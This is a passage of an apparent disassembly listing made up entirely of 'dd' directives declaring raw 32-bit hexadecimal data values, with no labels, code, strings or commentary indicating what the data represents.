		dd 1692B0D3h, 0D122E8FDh, 1149FAEh, 0DE0DD52Eh,	0D75F9242h
		dd 0A2B7CD9Eh, 2D2A9D0Ah, 0DA9E6F18h, 8D090A25h, 8BEDE5D5h
		dd 4FE1D16Ah, 7F1C21CFh, 0C54FE6B8h, 4D79802Fh,	744EC5E9h
		dd 0BA0D34BAh, 1DE58525h, 3A8FEEB8h, 0B6E9661Fh, 0F19F3B78h
		dd 0FD68F08Eh, 6CBF5274h, 53E4DF38h, 0FC53B4E2h, 0B866E340h
		dd 2398225Eh, 3E0DBBA3h, 46783DBAh, 64FF9441h, 40FB2901h
		dd 1D7C588Dh, 5F89D39Ch, 53098555h, 802A9AF1h, 6B075E4Dh
		dd 5827058h, 2A571D3Fh,	1E8D8404h, 0DB685B01h, 533C535Dh
		dd 46338C10h, 0D604E9CEh, 0D718E8FEh, 0CD8D8BCh, 9200079Ch
		dd 66ED816Dh, 9F5BB013h, 0AA3437AFh, 0CA70BA04h, 0BE8CEEB9h
		dd 510D409Ch, 0F658B10Eh, 4D14BD9h, 0D4B3DC03h,	641A2D79h
		dd 1459295Ch, 8FD06A11h, 0AFD8BAA2h, 0D53149BEh, 16F9ED8Ah
		dd 2F89B109h, 0F43ADFC9h, 0EA58FACBh, 38578229h, 9D6A584Dh
		dd 0C4E43EBh, 0BF594FF4h, 9D5402D6h, 9820FFF0h,	0EB801716h
		dd 27F9B87Ah, 77B7C26Dh, 0E59D5C9Ch, 0C5112D51h, 8DF96A34h
		dd 681289E6h, 23602C03h, 0C69A8BAh, 0ACBF25FAh,	1EB4310Bh
		dd 88B5CD25h, 1C309D77h, 14A6723Bh, 0C5F2013Fh,	9798E524h
		dd 0BFEACCAh, 831E8B49h, 0D1D0C978h, 5F308929h,	0E1F54B31h
		dd 1DEE2B7Eh, 0B091096Dh, 78C64D7h, 300C443Dh, 6C468901h
		dd 0DEE90C80h, 5E563A49h
		dd 5AD04540h, 0B053452Dh, 0E9550BC6h, 3E692E6Fh, 0F0173E87h
		dd 0B2A657AFh, 0B3329946h, 0FD3ECE31h, 17979E7Ah, 9BF1328h
		dd 4B85D0B1h, 5A8485F7h, 0AB4512BBh, 0E0F8999Dh, 0B21CC072h
		dd 13C2804Ah, 8B5E47B0h, 748E4FA3h, 82C3B6F3h, 0FE1B6368h
		dd 18DDC1B3h, 9CF02FD0h, 0A8B880A6h, 6AE8021Eh,	0D580BD89h
		dd 552D3647h, 47B77494h, 0C671A7D6h, 7FE95640h,	9CCA9228h
		dd 7A022D20h, 5C0B7A86h, 72D83BFh, 3216343Bh, 0A188CAE5h
		dd 255F3868h, 3339EA4Fh, 6DA0CD2Fh, 0CD88F5B4h,	0BC68C55Bh
		dd 8E7EBECh, 8959CA16h,	0C58D2825h, 77EF454Ch, 0EE32B2BEh
		dd 42C844E8h, 0E137B52Ch, 8B616227h, 8C145DB2h,	0A7EEE597h
		dd 0D2C99B7Eh, 17E92C69h, 0F0DCA533h, 4B4A0304h, 460F80BBh
		dd 1130539h, 58EC9AE9h,	0D1CE8B2Ch, 0D3042A0Dh,	0E3AB5B59h
		dd 8406905Ch, 0DEE4E630h, 6BE92557h, 0E38093C3h, 51095358h
		dd 574AD668h, 2BB0F84Eh, 672489B6h, 0E7A88016h,	0A6142D5Fh
		dd 0E5091B89h, 3F586644h, 9FF16A1Dh, 57F039D4h,	51749753h
		dd 0AB0DE660h, 1954953Bh, 0D00AB601h, 5FCEE960h, 7BF79AC2h
		dd 48E8EB10h, 5381F413h, 0D27FE36Bh, 4C5CEB2Ch,	1CA2C254h
		dd 0D0695C7Dh, 51971B7Ch, 9CF7E9CFh, 29E92513h,	5C327D06h
		dd 6506306Fh, 138ACD05h, 3CE8257Bh, 18AE19FDh, 66CC0EDh
		dd 0D37C5827h, 119ABA0Dh, 0BCF5E42h, 0CB4EA477h, 97F0B52h
		dd 0A63DFABh, 1D6A64C2h, 4979CED5h, 66130292h, 0B24FFB5Bh
		dd 62688B63h, 0CC5E756Ch, 11A9043Fh, 0F1C24416h, 52C72087h
		dd 974F46F9h, 48E4A0C7h, 0D2755309h, 6028984Bh,	0CA05E41Ch
		dd 655A3D73h, 740BEA8h,	0C4FAB059h, 0EF8EF8Eh, 0D8AACB5Fh
		dd 0D7BE01D4h, 0F737855Eh, 0A1B97FDEh, 6F122C3Bh, 52CE0066h
		dd 0E9B21F08h, 0A64F249h, 0AD02A068h, 28B18688h, 0B426EE44h
		dd 495D1F32h, 58F43339h, 4BFA4D43h, 0F142FBF5h,	0F403EC84h
		dd 75FA8C3Eh, 1E44FE5Fh, 9CE54EBBh, 7C5B29B8h, 0D46566ABh
		dd 98DC7525h, 0C1090578h, 159CB31h, 2B3D20F3h, 70157814h
		dd 9BE9841Fh, 970AAAB9h, 1F85414Bh, 0A8C809D6h,	0C3209B7Bh
		dd 0C03C2458h, 0A83754BBh, 35F29F76h, 0CE3FE43Fh, 7709CBABh
		dd 172FC248h, 0E4D0A9EBh, 48BC7BF1h, 4620B60Fh,	0E90E7695h
		dd 0E06A79DFh, 1372E953h, 0DE89ED96h, 0C0751AEBh, 3029A71Fh
		dd 2EFE4033h, 28C6EF15h, 4BC7787Fh, 48CFEE8h, 57818AA3h
		dd 2AC9FE01h, 3D7F5EADh, 0B57FCB55h, 0E9F0D056h, 0C8DC5B2Eh
		dd 711FCC85h, 341A3DE7h, 83567D43h, 0F79A9D0Bh,	462E03Ah
		dd 1F9A5E5Dh, 0FEDE49E9h, 3C98ED9Ch, 0E3F2024Eh, 978ABF97h
		dd 34143915h, 4FEF8180h, 3CE1617Dh, 11C735DAh, 800238EFh
		dd 3B776049h, 7EBCCFF6h, 687E54C4h, 4CA4DBBh, 0AB51C258h
		dd 0F026F1CCh, 0C042F45Dh, 1F41F212h, 0F5CC168h, 25AD95Bh
		dd 5B4E61C6h, 3C950405h, 0F3500E57h, 7EF59DFAh,	79FBB813h
		dd 63816060h, 5CE69197h, 0A79F4B31h, 8F726F0Ch,	59ECE8E0h
		dd 0B35B2C90h, 30C7DF41h, 81ED3AA6h, 0EC88163Eh, 5BEB1C41h
		dd 68D784FAh, 32EF2148h, 38480F77h, 920BF381h, 5C690206h
		dd 2D0630ADh, 823C46D2h, 0B7680B6Ch, 1F44C630h,	0A5F91FA3h
		dd 6B0233E1h, 4234128Bh, 15EBA913h, 3F111D5h, 0D7223ACDh
		dd 0A2DBDB4Bh, 0B49355FEh, 391E58C9h, 2E25D7F9h, 0D365E7BBh
		dd 0EA3C4CF1h, 112FE9B0h, 0C2F8D9B5h, 8055DD29h, 0ED7191D3h
		dd 874A1749h, 5020FECAh, 25A679F2h, 42D69BF0h, 954FCE8Ch
		dd 393F09F5h, 22FD05BAh, 42ECDEEh, 2F80995Eh, 38553E05h
		dd 0FBC356AFh, 0E9C556CBh, 3B35BCBEh, 6FEC1843h, 0CFD1880Ch
		dd 0E312748Ch, 484C489Ah, 0E9685A6h, 9383A3ABh,	0A64950EBh
		dd 0CF70860Eh, 0DC50FED2h, 0C9974208h, 1B9D7658h, 0CEA82AF7h
		dd 0D2D2FC7Bh, 4F2F55B0h, 0D267EAA5h, 4AA343D3h, 54D482F9h
		dd 501ECD6h, 123BAAD0h,	2EC2FA40h, 0E6E76E2h, 4F579FEBh
		dd 417ABD33h, 141CA008h, 17685809h, 0CB3E300Eh,	8EC197C8h
		dd 3A9FDDF4h, 0CB9F9AFCh, 62143690h, 7D12682Ch,	0C0FC64AFh
		dd 0E6814EB9h, 0DB0477A8h, 0EED1465Eh, 5CED1480h, 24B4EDEh
		dd 0E8ADE9CCh, 95EECC5Fh, 4F2448F9h, 6883F110h,	23170833h
		dd 0B43D032Dh, 577522F9h, 0FE24EB2Bh, 0F7B8D8EBh, 794780Bh
		dd 0F80C08BFh, 4257142h, 0FFA4EB66h, 6889A842h,	7D2B6298h
		dd 4657E72Eh, 0BB1AB70Dh, 42CC6C1h, 3AECCF80h, 0BC284E29h
		dd 560FB259h, 25762479h, 8AB0E5F5h, 53B84D12h, 3AEFFED9h
		dd 5FC7D574h, 0EDCEDCD3h, 942D27AEh, 20D2E160h,	20051A9Ch
		dd 0EFD11798h, 0C75B51E8h, 432714Eh, 8C84F634h,	0D4828225h
		dd 35D87Dh, 9B2175F3h, 45BD5504h, 13992212h, 0B5A8601Dh
		dd 4B9FE69Fh, 8B09BD54h, 605D540Fh, 15719EB8h, 37FA4A50h
		dd 5BCDCC9Dh, 0AE01350Dh, 0E12BFFE0h, 3B16530Ch, 8AAF25A2h
		dd 0CA81037Fh, 0CDA13A7Fh, 7BA5BD00h, 9F2169C2h, 9284A3F4h
		dd 63ACFEF4h, 5E6D5AC5h, 70420960h, 0C44EFF3h, 82F456BDh
		dd 0B4033E30h, 0DD47B9C3h, 87D0566Dh, 0C1198Ah,	2CA42D40h
		dd 0D8976364h, 230DB746h, 753AAD7Eh, 52809B95h,	0EAD060B2h
		dd 653E59E9h, 1C5AAC5Ah, 0C2C17CE2h, 5AD33051h,	6655C0CEh
		dd 0A8504A52h, 0C0B3A322h, 0E5DD8851h, 4CE7B2FAh, 19575CB8h
		dd 79EADB25h, 0BEC3A090h, 2C205E82h, 5D1209CEh,	0DE895A79h
		dd 4F5BDA0Bh, 0C344F35Ah, 910AE9C1h, 0C822D316h, 0D713C23Dh
		dd 0ADA6AA8Eh, 51AA2D80h, 215B9C0Ch, 0E9B01CE8h, 91D3F841h
		dd 0FBFC3713h, 0B02D0571h, 0FF42F502h, 5A08C751h, 2D8B4ABDh
		dd 5E7A4077h, 79BA9057h, 0EE95C7A3h, 0E3CFB19Eh, 0DFE36E89h
		dd 0E4CBA684h, 0AE5A2CA5h, 0BFD871EFh, 2BCE3BFDh, 167CE84Bh
		dd 68AA22D4h, 3932E93Eh, 795B62C9h, 85E4A54Eh, 74908C5Eh
		dd 0B3338EBh, 0FB0148C0h, 12081208h, 246F25Fh, 658037B8h
		dd 0F5F5E2C5h, 0E0843ACAh, 7035008Fh, 1EBB04h, 89452925h
		dd 0DF77054Eh, 3F72762Ch, 6085E909h, 95D3F75Fh,	4A5A9900h
		dd 11B57FBBh, 0EF47516Ch, 0CB290B18h, 0FF20CC04h, 0F14C938Eh
		dd 0B023805h, 4158E957h, 171A4208h, 0F2685C00h,	5B599F09h
		dd 0AF4B5542h, 3CD0050Bh, 9D1172E3h, 1EAE4AC7h,	0CC4F8BCFh
		dd 481662E4h, 0AE4A3408h, 3B2408EBh, 615BF800h,	0BFF32978h
		dd 0B80806F3h, 11E9063Fh, 0BE044CF9h, 6CA0607Ch, 45AFDBEh
		dd 23A169ACh, 877003AEh, 65E41CEh, 9C58CD90h, 7B56584Fh
		dd 0AD71B805h, 7C0BC67Ah, 701851E0h, 9F2A4E30h,	9FA3002h
		dd 285C2B56h, 3186267h,	0E9226B40h, 0A20F4E7Eh,	0A0B576D9h
		dd 22B8EE9Ch, 0F9154F44h, 36084183h, 93585E55h,	2D19067Ah
		dd 20FB33ADh, 0DD106A09h, 2E400DB1h, 0A8B1E004h, 3458DEE9h
		dd 0F7D24D17h, 3A805B5Fh, 4A936850h, 4D8A37Ch, 6ADB0420h
		dd 0CA842C4h, 0F2B0500h, 0C3557CCh, 1C2D451Eh, 87294784h
		dd 0FFC71E82h, 9EC29CCAh, 0EB92F25Ch, 0EC1DA1AAh, 0E6B77D10h
		dd 3AD22C47h, 44066FB2h, 76B50EBDh, 0DF205052h,	2A660EA9h
		dd 677812A2h, 0A1B86CC4h, 7A602C01h, 82299709h,	5DA12267h
		dd 7D2FBF73h, 0E0E951A0h, 92B1FEF0h, 0BE2F86A0h, 0E1675123h
		dd 3AAA38E9h, 30633620h, 587D147Eh, 5016062Dh, 1D00E25Fh
		dd 57E7CB3Eh, 0BF27A866h, 92769045h, 0C38080E5h, 758A3AFBh
		dd 8430EC5Bh, 5E009FE6h
		dd 0B9955FBBh, 0F331051Fh, 0E952B64Ch, 0F4250BEFh, 2683426Dh
		dd 0E5A35F0h, 0D021FB81h, 9774A27Ah, 0E9C2768Ah, 96CA06F7h
		dd 0D731485Dh, 7F692E32h, 7D03F61h, 0EE2828E9h,	250B5AAh
		dd 4A9BF29Dh, 42D9FE5Dh, 0CC089060h, 0B3C20606h, 81740581h
		dd 2FE7F40Eh, 6A29FED5h, 2204678h, 0B218B7C8h, 1730783Bh
		dd 53CE8862h, 9A4048E3h, 0DD7FE204h, 50498201h,	0EDD6DBAEh
		dd 0F15F2A54h, 0B5A98FEh, 0C4840DB8h, 81BA1716h, 81E2822Bh
		dd 7E3AC33Dh, 892E3247h, 32606708h, 55DC785Ah, 50E9A5E0h
		dd 8B3A2396h, 54FEC2D0h, 6A8871D3h, 0D718F84h, 4F2830DAh
		dd 0C0560AA2h, 46957F2Fh, 9A32388Bh, 0B5DA4090h, 0E9178631h
		dd 253162Ah, 21CB21ABh,	157173E2h, 10C0A0C2h, 5B2539B9h
		dd 83B122F5h, 0B09B7F13h, 0A869997Ch, 0F3056D9h, 9E46D6F6h
		dd 0BB007C15h, 34B625EDh, 12D4CB81h, 0FA63B84Ah, 90068840h
		dd 5AE98841h, 0FE3EF46Ch, 0DD5A129Ch, 762AAEF2h, 0F10196C6h
		dd 6A5BD70Fh, 3A26C801h, 0A4E0503Fh, 2E431EDFh,	7208FB4h
		dd 504A5849h, 1213A024h, 0A5EA726Ch, 0A15E3D79h, 773FD5D0h
		dd 0BECB22Bh, 4958C6FFh, 2914198Ah, 1024EDC5h, 0D15B6064h
		dd 0C36783E3h, 0E142F3C0h, 163F71Ah, 2A4367D0h,	0B4019AB8h
		dd 0E964CC39h, 456AB65Dh, 0AEEF68F7h, 0D9EBA916h, 0AF414649h
		dd 0CD355CB7h, 0F3F26E76h, 0F1754AA2h, 1B289811h, 3B4F0168h
		dd 0A73CDCF3h, 5F6D285Fh, 25201BEh, 44FEDF8Dh, 5E7AF018h
		dd 7F06B58Ah, 5A35914h,	33913A82h, 5F06D482h, 246EF181h
		dd 0B3CBDB2Dh, 89B2F28Bh, 0E0082374h, 0E85F12FDh, 0D30116AFh
		dd 9CC52D23h, 2A755412h, 15A0C020h, 0AB256392h,	6183756Fh
		dd 1D03692Fh, 1A25D5EEh, 11F0F335h, 767A6E64h, 29A06330h
		dd 7E02D0C7h, 44E895F8h, 18FCA6E8h, 5F05317Bh, 52585E50h
		dd 7A612E80h, 0D2C580Ch, 7EC5510h, 8C6E88BBh, 78B24BFFh
		dd 0E0285BACh, 6C96340h, 0AF8C67E1h, 0FA5281DCh, 1DD4F6C3h
		dd 252CD828h, 0B668AF18h, 4730074Bh, 0F81A2CF0h, 0F63B53CFh
		dd 7B94533Eh, 4B2CA0B5h, 507C25E8h, 0D34DEAE0h,	0F1E9130Dh
		dd 8861EABFh, 32A5CE26h, 9DF2062h, 6A488059h, 796E6733h
		dd 55D2C21h, 0F6C7097Dh, 0E91958D8h, 5A38E6FEh,	3816D48h
		dd 0C23E2BC1h, 0C4B40123h, 36081BE3h, 0A0CDBEFDh, 0F60AE8DCh
		dd 164260CCh, 0A1685352h, 4292324Eh, 0A517AFEDh, 3EB33748h
		dd 0BDE8361Bh, 0B6F3EAA4h, 0EA02C864h, 385A4F9Ah, 0BF41D3E8h
		dd 4DCAC7Eh, 523758D2h,	0A009E1ACh, 65F72840h, 0F55EA714h
		dd 12AB6850h, 0B04EBA05h, 2130D685h, 98A4D15h, 0B9409FEDh
		dd 0D1165588h, 87B14F0Fh, 2AD081D1h, 1C3B270Eh,	554D8Ah
		dd 7258470Ch, 0E2BFCDE9h, 92F17F87h, 2FAA9A88h,	0EF0BDE54h
		dd 24B179BFh, 49978116h, 0E15A7FBDh, 0BF0744EAh, 4CF1A8E8h
		dd 20412E1Ah, 3C85B7Eh,	0B4A7906Bh, 96BEFEF8h, 5DDFE241h
		dd 9FBA52C8h, 0BD0927D1h, 201C46A6h, 0B6004AD9h, 5DEE807Eh
		dd 905AF128h, 0AAF34AA7h, 4EF20E24h, 432EEB02h,	285F4F30h
		dd 8D2C08A3h, 13EA5C8h,	0E915CB46h, 9EB3F66Fh, 67BC064h
		dd 0C6C3DBE1h, 868E81ADh, 0B256037Bh, 6865480Ch, 0AE350765h
		dd 72495945h, 85A133D4h, 2FEFA37h, 0E8574157h, 9251AA2Dh
		dd 122BB26h, 0C6C8212Fh, 0CC14951Bh, 36D1681Ch,	0DD94FF27h
		dd 18EBC14Ah, 55B0C45h,	8F60F52Eh, 8A3723Fh, 3A79A2B9h
		dd 77923FC8h, 0B75AF06Ch, 9FC4383Ah, 0DD947C27h, 8E241BBh
		dd 81FFD5EAh, 19B151E6h, 0F7282320h, 920DF27Bh,	922092BCh
		dd 6AEBBD1Fh, 0DD8719C5h, 257258C2h, 8498B81Ch,	91253F9h
		dd 8BE041CDh, 5BBFED81h, 0FE5C447Ch, 0C96922A3h, 1ED33680h
		dd 35903380h, 5F65341Fh, 98BBD0E7h, 0F707183Fh,	1B71BCDEh
		dd 0BAC769C0h, 0F640112Bh, 0EBFE4B96h, 78E95624h, 0BF819217h
		dd 0BA59BCD8h, 0FE8FBF9Fh, 530B5326h, 0DA8EA02h, 0B3529613h
		dd 0EB8431B4h, 1065902Ch, 243D22EFh, 1E37A08h, 0C4DEFA7Dh
		dd 0B9C0D231h, 0D6127EF2h, 0ACECE0A2h, 76C7E85Ah, 5613D176h
		dd 0C1F12E68h, 6BC742Bh, 0CD9317A5h, 64BDE35h, 554E2EBh
		dd 5DADE950h, 1373BEB4h, 0FA0822FEh, 0DD180705h, 558F80A8h
		dd 52F8E629h, 0FF7DE2B5h, 4EDA7943h, 7C8BB16Ah,	0A7BDAE0Eh
		dd 0EAEA7861h, 9CC98790h, 0FFBD6E25h, 7B717769h, 1C5FBBF2h
		dd 274D2C34h, 584A5564h, 17840FF8h, 62B097BDh, 29FDBC69h
		dd 0D7C26238h, 0DB280E45h, 59726E27h, 455EB833h, 0BE49A186h
		dd 3D319E9Dh, 2E68EA64h, 0D8A43C24h, 0D39DD808h, 0FFEB164h
		dd 0B1BF00C0h, 0C8E24891h, 0B052385Dh, 0BE25CF35h, 0A8015E00h
		dd 0BB5328h, 39D97259h,	594CB81h, 48E6448h, 0C19EE9DBh
		dd 0A9D3FCECh, 445B7896h, 0EF0D31EFh, 0C0B82EECh, 7D0982E5h
		dd 856DC7D5h, 0FD02FFE9h, 73964C1Bh, 0DB2C8B2Fh, 6F05866Ah
		dd 89982254h, 0E90E2D61h, 0BC2AD7E2h, 29A2B521h, 0BF050DC5h
		dd 93DF98F2h, 31284D44h, 0A2D46F38h, 0B1D2EFF2h, 2A4731B9h
		dd 129E12AEh, 0AAE0AA17h, 5E494BE9h, 865DCFE9h,	56640ECFh
		dd 0FC25ABB1h, 8251E6A7h, 79AFEC2Ah, 295EF30Bh,	12CBD3DEh
		dd 0C688AFC6h, 0CF4B1253h, 0D6A50512h, 5BBF301Dh, 425DA268h
		dd 0C20C8646h, 0CA52D6CFh, 6FBC4A54h, 0D0793404h, 8F89823Dh
		dd 565D88D5h, 75E369EEh, 4A8E3B80h, 0F700311Bh,	0ABCF81DFh
		dd 0BE65EA7Ah, 17F68F56h, 0DEE92CC1h, 0FE4E87D4h, 80D7D0CFh
		dd 0B65225C0h, 61CEEC37h, 0E9840631h, 0CF167EA5h, 40508368h
		dd 0F97730BBh, 0F7A70A62h, 9831D5D5h, 5A123F50h, 0B1EED594h
		dd 58B7F43Dh, 65EFF4BCh, 38FF87F4h, 4C4F8302h, 27DE31B4h
		dd 0A0749908h, 0FDCED0Dh, 1096BC2Ah, 473C9015h,	0A8E9DF3Fh
		dd 0B6D6525Fh, 0A184168Ch, 7DCA6E9Fh, 796AE987h, 0C10626D1h
		dd 0FCE708E3h, 0F2FB5EB6h, 2C6403C2h, 0F7E8289Bh, 0C245EB4Fh
		dd 707D742Eh, 61D71C33h, 95B7BEC1h, 0A984CD44h,	582F7AB8h
		dd 0FD603459h, 2E2A966Ch, 80626BE9h, 8423C2BAh,	0E2038149h
		dd 5A0624EAh, 1F83B5D1h, 7E31E115h, 33E60CA8h, 6B0CD729h
		dd 304832D1h, 26139FCFh, 40EA228Ah, 3D98C283h, 0FA94FD8Bh
		dd 20BCCC25h, 0C6900BAFh, 0DC086225h, 24A75004h, 4E566880h
		dd 72663053h, 5202C433h, 0CD2032B9h, 8D1DDEDAh,	7DCEC6FFh
		dd 0B91E86E9h, 144C314Bh, 6B89D215h, 680979F7h,	62C67820h
		dd 34539F09h, 279CF52Eh, 0CBAC650Bh, 0B5C166D1h, 60974E94h
		dd 1C7C0BCCh, 494B1C07h, 2D8B9AE9h, 95B1EC5Fh, 0F1A98E65h
		dd 0B8505260h, 4666069Fh, 0B9BBA5Ch, 0C7FAE912h, 6C7D76EAh
		dd 987ED141h, 18132DB4h, 49B19E49h, 0AB56C43Bh,	8B58FB2h
		dd 801D108Fh, 17FF0996h, 0E838EBC8h, 44966058h,	5A2F32ABh
		dd 4C2071B0h, 0EC681797h, 3F67F317h, 89B5AFF0h,	91F3DF1Fh
		dd 3707F569h, 0CCC707Fh, 276746E9h, 26586E55h, 78C925F7h
		dd 0A1AC7BEDh, 684A915Eh, 25BF2E90h, 29B7AA8Ch,	8190EF97h
		dd 9FD15BE9h, 3AB51410h, 2666805Ch, 8D1F8350h, 0EBECE92h
		dd 0F6638647h, 25BF30D4h, 0D967C2F4h, 722B800h,	25540085h
		dd 7A7C539Ah, 39F63548h, 943FD27h, 0B9657DDDh, 5048F62Fh
		dd 4581F025h, 8A3AF12Ah, 0D2B105AEh, 0F5E95305h, 0EA5954D3h
		dd 0BB2F5FC3h, 0ADDC3884h, 68F70476h, 7E8D4C72h, 3A73896Fh
		dd 0E788361h, 0E7F18100h
		dd 91E58816h, 29B804BFh, 39ACABF3h, 6E9783E5h, 7E8874Bh
		dd 74B95100h, 0F74A866Bh, 0CCFCD94Eh, 5A22E704h, 403C0E25h
		dd 3BE9BA99h, 8E9B3ECh,	0F709F27Ch, 0E7EF05DEh,	31C9F4E9h
		dd 65D0088Bh, 15143097h, 0B12ED6B8h, 0A6A5408Fh, 28517179h
		dd 0E2B87F9Ch, 0F632E90Bh, 7DAECE5Dh, 0DD575DDAh, 3A3BF45Ah
		dd 0FC419A40h, 0E43FB71h, 0C28F1C8h, 2EE3002h, 526D2C05h
		dd 6382BFB2h, 723F56B1h, 0C82CA6DDh, 0C5BA04F1h, 0C01D1F30h
		dd 8018C3AFh, 0E2C12401h, 4ADAF704h, 3C09D083h,	9A2F2A76h
		dd 6B737EA1h, 0F89F2572h, 0BF5E4F19h, 0FD08782Dh, 501125E9h
		dd 571A31D5h, 5546007Ah, 0C61573BDh, 79FFC09Dh,	3C6F2C58h
		dd 59403959h, 0AB337F95h, 3CAD8640h, 12898A9Ch,	2A00F2D3h
		dd 9DAA5866h, 0E91282FDh, 12747E26h, 0DF5ABC5Ch, 5F28DA09h
		dd 0E92D3F34h, 0D57EC21Fh, 18794DB8h, 0A6BB51DDh, 584010A8h
		dd 9F6FD861h, 901201DBh, 0BB95DF0h, 62E04DF0h, 392F53DCh
		dd 3E7D575Ch, 0ADCEE912h, 0F34E5071h, 94ACF05Ah, 81F8B2A1h
		dd 6573EF17h, 0DD401405h, 0F2713EFDh, 6350440h,	0AF075475h
		dd 0C2BE780h, 1227CEEh,	0A46CE728h, 0A523E1E9h,	0FCECFD46h
		dd 80BA459Dh, 7B71EA68h, 49075933h, 5095E987h, 89D46935h
		dd 93EEF3EAh, 68309CEEh, 0C9358832h, 3D66F59Fh,	0B74D07F0h
		dd 785311C3h, 0F67A3848h, 0EE519F56h, 1157B263h, 242AA833h
		dd 74AD20DCh, 67581C83h, 2325546Eh, 3111F501h, 0F852ECBh
		dd 7ACD79EAh, 0C9E5D0A8h, 2042FBBh, 2C140275h, 59C7FF4Bh
		dd 0A1AA936Fh, 0EAE2D765h, 0FBC0C48h, 7436192Fh, 98A28E0h
		dd 7B8F2ED5h, 0E8093CE0h, 1FBA654Ah, 689884E9h,	9112BBC6h
		dd 0BF577B00h, 0A074471Bh, 7D84C7DCh, 0E972092Dh, 94F43477h
		dd 67FB62B5h, 0E3CAAF44h, 0D386895Ah, 11427BCCh, 7AB54172h
		dd 8CDFFDADh, 0F61DE48Eh, 90F9BE09h, 8CBCC1EAh,	0B752AB34h
		dd 0E9F8D5D4h, 3E78BE4Ah, 0D0F6010Bh, 481802F7h, 0E0450DF5h
		dd 11DF10A4h, 1404B689h, 0FA7BB53Dh, 22610814h,	7E94BF3Bh
		dd 0DD5B18B7h, 178B2D3Ch, 4A906EF0h, 0BD46E404h, 0DB82092Ah
		dd 4331C049h, 60A3280Fh, 0CFF702E9h, 0CD296ABFh, 309FE84Ch
		dd 89F12804h, 0B6E160F9h, 0FED0DD82h, 0E7497609h, 515CC62Ch
		dd 0F02A0B35h, 3140684Eh, 0DADABF05h, 12D645BFh, 1B08EAD3h
		dd 0FE0CB001h, 1648D037h, 6BD30013h, 0F78152C4h, 0AB190EE3h
		dd 3008E936h, 84AABA16h, 0FCC1EB71h, 4202A52Bh,	2AC084E1h
		dd 2A133316h, 7E350190h, 95717B75h, 0C8269ECh, 64120061h
		dd 2C5B6896h, 0ABFD31EAh, 7E7DF2F3h, 0C2DFDA4Fh, 6AD976BAh
		dd 39C1031Dh, 0EAB03F82h, 53273E16h, 2C92F87Fh,	8A2AB0Ch
		dd 9026CFF9h, 2B51E30Fh, 0BF82E087h, 0CC6C1F95h, 58BA891Ch
		dd 32F8DC0Bh, 8C5E5704h, 58E10174h, 755A0802h, 7D3FFEC0h
		dd 0A6445B81h, 4EDFACABh, 5F3409AAh, 974FA2FCh,	6D573985h
		dd 6FCAA535h, 0BA4A3849h, 27E9063Ch, 0BE3AE23Dh, 275359D7h
		dd 68537B80h, 7D1647F1h, 0F8085B30h, 126424D3h,	151FABDDh
		dd 5F2D1A24h, 0F7817F3Ch, 57A93447h, 0B98C554Eh, 2A0246C9h
		dd 0DA97B4C1h, 0B7C85BB1h, 6EEF3AC2h, 0F5C30988h, 68C19CF1h
		dd 0EF8C43B9h, 9F7D2D09h, 0A431204Bh, 0F66F4213h, 44640F38h
		dd 5901B069h, 96BB9EBFh, 34A13B97h, 0A16CC16Ah,	0E0A3ADB6h
		dd 2E2DC674h, 0B33C855h, 3E18691Ch, 41480CBFh, 12075053h
		dd 6AA02A02h, 0DD40BAE9h, 447F7420h, 21493EC3h,	0FFF23D84h
		dd 8ABF2EE2h, 22074998h, 1C77D53h, 15150069h, 130AC04Fh
		dd 0A3E36EE9h, 5555250Ch, 96C7EB93h, 84036657h,	0BF21E512h
		dd 600B5088h, 886FB6FEh, 0DF2FF48Ah, 0FB043B32h, 86B500B2h
		dd 0F80E5D0h, 0EE8822EDh, 4BD067C9h, 0FFEC4A9Dh, 0D720F616h
		dd 41BF0B9Fh, 5502A15Eh, 22FAC21Ah, 2B517431h, 0BD008C29h
		dd 41D78EFh, 226E896Ch,	3B08F7E0h, 1F7AB8A2h, 7052E9F8h
		dd 1561BE34h, 4042C32Fh, 4DC29971h, 68C205FEh, 147D78BDh
		dd 71E912E2h, 97956DBh,	59DC360Dh, 0BC4BE66Fh, 2464941Eh
		dd 33020281h, 0E8FF39E3h, 63CFD62h, 0B3E9766Fh,	802D3C98h
		dd 7636F0EEh, 57CF1D5Ah, 0CEFE8D86h, 7AC7FC08h,	81D9709Dh
		dd 66013F91h, 289E9268h, 68A1E0Dh, 54C49B62h, 2734C15Eh
		dd 40CC3159h, 397E7110h, 0D3E90D0Dh, 0A43E4D2Dh, 0D4A1E330h
		dd 4CD6DFEh, 0BC7F353Ch, 1E4109C0h, 0C7060DFh, 67FD5A8Eh
		dd 206176BDh, 140CD008h, 0DA244948h, 68FA0284h,	0DF794FE7h
		dd 604A7380h, 5EA9E92Dh, 7CDD9139h, 0F4A23E10h,	68C7B496h
		dd 5F78ED41h, 0AE1F3678h, 4FB0182Fh, 2BC4110Fh,	6C06C4D1h
		dd 0C53C61BFh, 0C6436C5Bh, 0E022C479h, 0BC5850C7h, 5B50F674h
		dd 4C43AFDBh, 7297A63h,	0C1094FD6h, 0A2D87B05h,	0D4610882h
		dd 0EE6041C6h, 60956FE1h, 2F505208h, 253D2B7Ch,	0A04CD7C6h
		dd 0C02F751Fh, 8096DAA5h, 908BE908h, 0B9CEB733h, 4119F20h
		dd 0C05161BDh, 0DC98EA4Bh, 0F4154A88h, 0B3415F9Fh, 7A4AE93Fh
		dd 56F38430h, 0F075C380h, 81A3C05Ch, 0A71849CFh, 0D2D8ACA1h
		dd 3CAEF70Fh, 0C8090F5Eh, 0B0185368h, 0C457BCCFh, 16D91C89h
		dd 4B04CFE8h, 806EDB07h, 0EE0F7887h, 58524F7h, 0F71D5176h
		dd 7357E9D3h, 0AC3AA729h, 0E95CE036h, 0D8BA7Fh,	4B2166B8h
		dd 2CDEBD1Fh, 9670E43Fh, 0C123395Dh, 0C9B0C24Eh, 46F89E4h
		dd 0BB8D0B1Eh, 0DFFE6B29h, 78FD5D1Ah, 48DAF9A0h, 5DD3680Bh
		dd 0CA84233Bh, 86E857BAh, 0ED28EF4Eh, 0FEB0253Dh, 0B20FE5AFh
		dd 7AE1D1F2h, 4ADD3F57h, 9C009631h, 4B3036C8h, 0D369BC6Eh
		dd 0F29F46EAh, 709E1C32h, 4B319C00h, 0FCD6295Dh, 5A08A0EEh
		dd 99345B87h, 0D3890020h, 0B4035051h, 18C480BFh, 95049EFEh
		dd 0AB0E807Dh, 915C6468h, 0E6888298h, 0C25FB1E9h, 5DF67552h
		dd 0C8E2755Ah, 0F0685E5Fh, 0FE4AAFE0h, 0C41C95DDh, 0C8E24B2Eh
		dd 0E997D267h, 3D879871h, 8555C301h, 4708C85Ch,	5E3D60B8h
